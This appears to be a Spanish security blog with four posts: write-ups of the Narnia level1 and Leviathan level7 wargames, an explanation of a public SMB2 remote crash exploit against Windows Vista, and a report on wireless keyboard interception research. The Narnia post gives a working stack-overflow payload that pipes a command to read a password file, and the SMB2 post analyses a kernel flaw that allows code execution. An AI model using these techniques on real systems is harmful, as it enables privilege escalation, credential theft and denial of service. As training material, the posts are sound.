seguridad

Wargames: Narnia – Level1

Bien, una vez conectados al Wargame Narnia, nivel 1, en el directorio /wargame encontramos, entre otros:

-r-Sr-x— 1 level2 level1 7.7K 2008-05-13 16:06 level1
-r–r—– 1 root level1 1.3K 2008-04-17 21:31 level1.c

Probemos:

level1@narnia:/wargame$ ./level1
Correct val’s value from 0×41414141 -> 0xdeadbeef!
Here is your chance: abcd
buf: abcd
val: 0×41414141
WAY OFF!!!!
level1@narnia:/wargame$

El código de level1.c:

#include <stdio.h>
#include <stdlib.h>

int main(){
long val=0×41414141;
char buf[20];

printf(“Correct val’s value from 0×41414141 -> 0xdeadbeef!\n”);
printf(“Here is your chance: “);
scanf(“%24s”,&buf);

printf(“buf: %s\n”,buf);
printf(“val: 0x%08x\n”,val);

if(val==0xdeadbeef){
seteuid(1002);
system(“/bin/sh”);
} else {
printf(“WAY OFF!!!!\n”);
exit(1);
}

return 0;
}

Vemos que nos indican que val debe ser 0xdeadbeef, nos permiten escribir algo en buf mediante scanf(), nos muestran los valores de buf y val y finalmente comprueban el valor de val. De ser 0xdeadbeef, nos suben el UID efectivo a 1002 y arranca una shell. En caso contrario nos da un mensaje de error.

Pero yendo un poco más allá, ahí se ven dos variables: buf y val.
El compilador reserva espacio en la pila para val (4 bytes por ser un long) y justo a continuación, reserva 20 bytes para buf. De esta manera buf[0] se refiere al byte de memoria más alejado de val, buf[19] al más cercano. ¿Y buf[20]? al primer byte de los 4 de val. La arquitectura es little-endian, por lo que ese primer byte es el byte de menor peso de val. buf[21, 22 y 23] apuntarían a los siguiente bytes, siendo buf[23] el de mayor peso.

Esquema de la pila del programa vulnerable

Esto leerá hasta 24 caracteres de la entrada estándar y los almacenará a partir de buf: el primero en buf[0], el segundo en buf[1], etc. hasta el 20º, en buf[19]:

scanf(“%24s”,&buf);

¿Y si se introducen más de 20? Pues el 21º en buf[20], que es el byte de menos peso de val. El 22º, 23º y 24º irán escribiéndose en buf[21, 22 y 23], que son las restantes posiciones que ocupa val, sobreescribiendo el valor actual de la variable.

Ahora que ya sabemos cómo sobreescribir val, la cuestión es cómo introducir el valor 0xdeadbeef. De ese valor, el byte menos pesado es 0xef, luego viene 0xbe, 0xad y 0xde. En ese mismo orden irían en buf[20, 21, 22 y 23].

Si respondemos al scanf() con 20 bytes de relleno y a continuación 0xef, 0xbe, 0xad y 0xde, podremos colocar el valor adecuado para que nos abran una shell en el nivel 2.

Por ejemplo:

$ python -c “s=’.'*20+’\xef\xbe\xad\xde’; print s”
………………..ᆳ
$

Redirigiendo al programa vulnerable:

level1@narnia:/wargame$ python -c “s=’.'*20+’\xef\xbe\xad\xde’; print s”|./level1
Correct val’s value from 0×41414141 -> 0xdeadbeef!
Here is your chance: buf: ………………..ᆳ
val: 0xdeadbeef
level1@narnia:/wargame$

Aquí ya no nos dice WAY OFF!!!!, así que parece que ha funcionado. Sin embargo, no hay shell.

En realidad, sí se ha abierto una shell, pero su entrada estándar estaba conectada a la stdout del intérprete de python. En el momento en que el intérprete de python terminó, se rompió el pipe, se cerró la stdin de la nueva shell y eso finalizó la shell.

Lo que vamos a hacer ahora es un poco de python que escriba el valor de buf para que nos abran la shell, esperar un poco para asegurarnos de que esté abierta y luego escribirle un comando para que lo ejecute:

from time import sleep
from sys import stdout

s=’.'*20+’\xef\xbe\xad\xde’
print s
stdout.flush() #Asegurarse de que se ha imprimido s, para que scanf lo procese.
sleep(0.1) #Con 0.1s. probablemente sea suficiente para que se haya abierto la shell
print ‘cat /home/level2/.passwd’ #Esto llegará a la stdin de la shell y se ejecutará

Probemos:

level1@narnia:/wargame$ python -c “from time import sleep; from sys import stdout; s=’.'*20+’\xef\xbe\xad\xde’; print s; stdout.flush(); sleep(0.1); print ‘cat /home/level2/.passwd’”|./level1
Correct val’s value from 0×41414141 -> 0xdeadbeef!
Here is your chance: buf: ………………..ᆳ
val: 0xdeadbeef
iSwvy1TF
level1@narnia:/wargame$

¡¡Es un bingooo!! ahí está la contraseña para el siguiente nivel.

seguridad

Comments (0)

Permalink

Wargame Leviathan: solución alternativa al level7

Hace una semana decidí probar un wargame. Éste se trataba de uno sencillo que además está resuelto y explicado en Pentester. El caso es que probé una solución alternativa a nivel 7 y la comentaré por aquí por si interesa a alguien.

En este nivel el reto es saber cuál es la clave numérica que ha de recibir un programa. Tal programa se puede ejecutar desde el nivel 7 y cuando se le suministra la clave correcta como primer argumento proporciona privilegios de nivel 8:

$ ./sphinx
usage: ./sphinx <4>
$ ./sphinx <clave incorrecta>
Wrong

$ ./sphinx <clave correcta>
sh-3.1$
sh-3.1$ id
uid=1006(level7) gid=1006(level7) euid=1007(level8) groups=1006(level7)

Se sabe que la clave es de 4 dígitos, y si se utiliza ltrace, se puede ver que el ejecutable convierte (atoi()) el argv[1] a entero.

En un nivel anterior se da el mismo reto, pero con clave alfanumérica, por lo que detectando las llamadas a strcmp() mediante ltrace el probema queda resuelto. En este caso se complica, pues las comparaciones no se hacen mediante llamadas a ninguna función.

En el artículo de pentester resuelven el problema mediante fuerza bruta con un sencillo shell script que comprueba secuencialmente (hasta) las 10000 posibles combinaciones, si bien también plantean la solución que he llevado a cabo.

Lo que cabe esperar del programa es que, una vez haya convertido el argumento a entero, en algún lugar efectuará una comparación con la clave correcta. Si el número introducido es igual a la clave correcta, sube de privilegios y arranca una shell. En caso contrario lanza un mensaje de error y finaliza.

Bien, pues con gdb desensamblamos el ejecutable a ver qué se ve:

level7@leviathan:/wargame$ gdb sphinx
GNU gdb 6.4.90-debian
[...]
(gdb) disassemble main
Dump of assembler code for function main:
0×08048464 <main+0>: lea 0×4(%esp),%ecx
0×08048468 <main+4>: and $0xfffffff0,%esp
0x0804846b <main+7>: pushl 0xfffffffc(%ecx)
[...]
0x080484b9 <main+85>: call 0×8048394 <atoi@plt>
0x080484be <main+90>: cmp 0xfffffff8(%ebp),%eax
0x080484c1 <main+93>: jne 0x80484dd <main+121>
0x080484c3 <main+95>: movl $0x3ef,(%esp)
0x080484ca <main+102>: call 0×8048334 <seteuid@plt>
0x080484cf <main+107>: movl $0×8048622,(%esp)
0x080484d6 <main+114>: call 0×8048344 <system@plt>
0x080484db <main+119>: jmp 0x80484e9 <main+133>
0x080484dd <main+121>: movl $0x804862a,(%esp)
0x080484e4 <main+128>: call 0×8048354 <puts@plt>
0x080484e9 <main+133>: add $0×24,%esp
0x080484ec <main+136>: pop %ecx
—Type to continue, or q to quit—q
Quit

Aquí lo que vemos es que en main+85 hace una llamada a atoi(), que retorna un el argumento convertido en int en %eax. En main+90 se compara ese valor con el ubicado en la posición de memoria %ebp+0xfffffff8.
El contenido de %ebp es:

(gdb) info registers ebp
ebp 0xbffffa28 0xbffffa28

Así que, tirando de calculadora: 0xbffffa28 + 0xfffffff8 ==0x1BFFFFA20. ¿Qué hay en esa posición de memoria? Ahí (y en los siguientes 3 bytes) debería de alojarse el entero que se compara con el resultado de atoi(), es decir, la clave correcta:

(gdb) x 0x1BFFFFA20
0xbffffa20: 0x00001bd3

0x1bd3 == 7123 (en decimal), así que esa es presuntamente la clave. Probemos…

level7@leviathan:/wargame$ ./sphinx 7123
sh-3.1$ id
uid=1006(level7) gid=1006(level7) euid=1007(level8) groups=1006(level7)

Y bingo! con eso obtenemos una shell con privilegios de level8.

seguridad

Comments (0)

Permalink

DoS remoto en Windows Vista

El último bombazo: provocar una Blue Screen of Death (BSOD) en Windows Vista, Windows 7 RC o Windows 2008 Server (<R2)

La noticia original (con su exploit en python): Windows Vista/7: SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. (con fecha de 7 de septiembre).

Esta mañana la he probado en un portátil con Windows Vista:

  1. He activado la compartición de archivos: en Panel de control hay una opción que dice algo así como Opciones de red y de compartir recursos, y ahí dentro hay varias opciones para elegir qué se comparte. Esto es necesario para activar la pila Samba del kernel de Windows.
  2. Si hubiera un firewall que cubriera el puerto 445 habría que desactivarlo. No era el caso.
  3. Utilizando el exploit de Laurent Gaffié y sabiendo la IP del portátil lo tiré abajo sin más que cortar el exploit, pegarlo en un fichero y ejecutarlo contra el portátil.

El funcionamiento

El exploit simplemente se conecta al puerto 445 de la víctima, envía un mensaje de sesión SMB y se desconecta.

En tal mensaje de sesión, en su cabecera, hay un atributo que se llama Process ID High, de 16 bits. Normalmente suele ser 0, pero lo que descubrió Laurent es que si en vez de ser 0 era 0×26 (lo que viene siendo un &), conseguía obtener un bonito fallo de página (error PAGE_FAULT_IN_NONPAGED_AREA).

Es decir, que manipulando ese atributo provocaba que algún puntero en algún lado apuntara hacia alguna zona de memoria que no pertenecía a nadie. Para más inri, el código del SMB2.0 está en el kernel, por lo que este fallo de página se lanzaba en modo kernel, con el consecuente reinicio de la máquina.

Hasta aquí lo que tenemos en un ataque remoto de denegación de servicio.

Lo que posteriormente ha descubierto Rubén Santamarta, de 48bits, es que se puede (con ciertas limitaciones) manipular la dirección a la que salta el kernel según el valor de ese atributo de la cabecera, pudiendo dar lugar a una inyección de código.

Tal y como explica en su artículo:

.text:000156B3                 movzx   eax, word ptr [esi+0Ch]; packet-&gt;SBM_Header-&gt;Process_ID_High
.text:000156B7                 mov     eax, _ValidateRoutines[eax*4]; FALLO – out-of-bounds dereference.
.text:000156BE                 test    eax, eax
.text:000156C0                 jnz     short loc_156C9
.text:000156C2                 mov     eax, 0C0000002h
.text:000156C7                 jmp     short loc_156CC
.text:000156C9 ; —————————————————————————
.text:000156C9
.text:000156C9 loc_156C9:  ; CODE XREF: Smb2ValidateProviderCallback(x)+4F3j
.text:000156C9                 push    ebx
.text:000156CA                 call    eax ; Smb2ValidateNegotiate(x) ;

Inicialmente partimos de que ESI apunta a una parte de la cabecera SMB del paquete recibido. ESI+0x0C es un puntero al atributo Process ID High de tal cabecera, por lo que

movzx   eax, word ptr [esi+0Ch]

Nos deja en EAX, los 16 bits de más peso a 0 (siempre) y los 16 de menor peso con el contenido de tal atributo copiado literalmente (ver movzx). Por ejemplo, si el Process ID High fuera 10,  EAX tendría el valor 0x0000000A,

La siguiente instrucción

mov     eax, _ValidateRoutines[eax*4]

va a la tabla (de punteros a función) _ValidateRoutines, y según el valor de EAX, escoge una entrada u otra (cada una ocupa 4 bytes).

Siguiendo con el ejemplo, esto cogería la undécima entrada de la tabla (en la dirección _ValidateRoutines + 0×28) y la copiaría en EAX, con lo que tendríamos en EAX la dirección de memoria de la función a ejecutar.

A continuación se comprueba si tal puntero no es nulo. De ser nulo, en EAX se guarda el valor 0x0C0000002 y se sigue con la ejecución en otra parte.

test    eax, eax
jnz     short loc_156C9
mov     eax, 0C0000002h
jmp     short loc_156CC

Por el contrario, si efectivamente no es nulo, se guarda EBX en la pila y se salta a tal función:

loc_156C9:
push    ebx
call    eax

Conclusión: según pongamos un valor N en el atributo Process ID High, podemos conseguir que el kernel salte a la posición de memoria indicada en la entrada (N+1)-ésima de la tabla _ValidateRoutines.

¿Y si la tabla tiene menos entradas que N+1? Pues la dirección de memoria la tomará de lo que venga después de esa tabla. Si pudiésemos controlar el contenido de esos datos que están después, se podría hacer que el kernel saltara a una posición a voluntad. Y por eso es que Rubén habla de cierta posibilidad de ejecución de código remoto.

seguridad

Comments (0)

Permalink

KeyKeriki: interceptando teclados inalámbricos

Desde hace algunos años venimos viendo una serie de periféricos, especialmente teclados y ratones, inalámbricos.

Primero fueron los que se comunicaban por infrarrojos, pero dadas las restricciones que tienen los infrarrojos en lo que a propagación se refiere empezamos a ver modelos que se comunicaban por radio.

En la actualidad se presentan, dentro de los que utilizan radiofrecuencia, dos familias: aquellos que trabajan en 27MHz., y aquellos que lo hacen en la banda de 2.4GHz.

KeyKeriki
Alguna gente de remote-exploit.org, hace cosa de año y medio empezaron a buscarle brechas de seguridad a algunos de estos dispositivos.

Fueron capaces de idear un circuito capaz de escuchar las comunicaciones de estos periféricos y estuvieron estudiando el protocolo de comunicaciones.

Para su sorpresa, gran parte de los mensajes que se transfieren del teclado al receptor van sin cifrar (mensajes de control), y los que sí van cifrados (mensajes con datos, como por ejemplo, qué tecla ha pulsado el usuario) utilizan un simple XOR con una clave que previamente se envió en claro (típico fallo de los algoritmos de clave simétrica).

Todas sus conclusiones acerca del protocolo de comunicaciones, y ciertas consideraciones sobre seguridad quedaron reflejadas en su paper: 27Mhz Wireless Keyboard Analysis Report. Así mismo, en ph-neutral 0x7d9 dieron una ponencia donde profundizaron en el funcionamiento de estos dispositivos.

Posteriormente han seguido trabajando en esa línea: han desarrollado un hardware (libre), y supuestamente también un software (libre, pero aún no disponible) que permite interceptar los teclados que estén al alcance del dispositivo.

Pareceser que aún es work in progress, pero la web del proyecto promete suficientes recursos para conseguir un cacharro de éstos totalmente operativo.

To Do
Aún quedan cabos sueltos en los que trabajar:

  • No trabajan aún con productos Logitech. Dicen en su página que el protocolo está estudiado, y que sólo les queda implementarlo, pero aún no hay una solución out-of-the-box para esta marca.
  • Se menciona en las transparencias que Microsoft utiliza una codificación ligeramente distinta (otros fabricantes usan codificación Miller), y no me queda claro ahora mismo si su dispositivo intercepta los periféricos de Microsoft o no.
  • Sólo han estudiado dispositivos de la banda de 27MHz. Queda otra banda por descubrir: la de 2.4GHz. Algunos de esta otra banda son los que funcionan mediante bluetooth, pero hay algún dispositivo que usa un protocolo no-tan-estándar en esa misma frecuencia. Me imagino que repetir el proyecto pero sobre 2.4GHz. puede complicarse: la electrónica a alta frecuencia debe ser más complicada, y quizá se utilicen modos de transmisión más elaborados (espectro extendido, p.ej.).

seguridad

Comments (0)

Permalink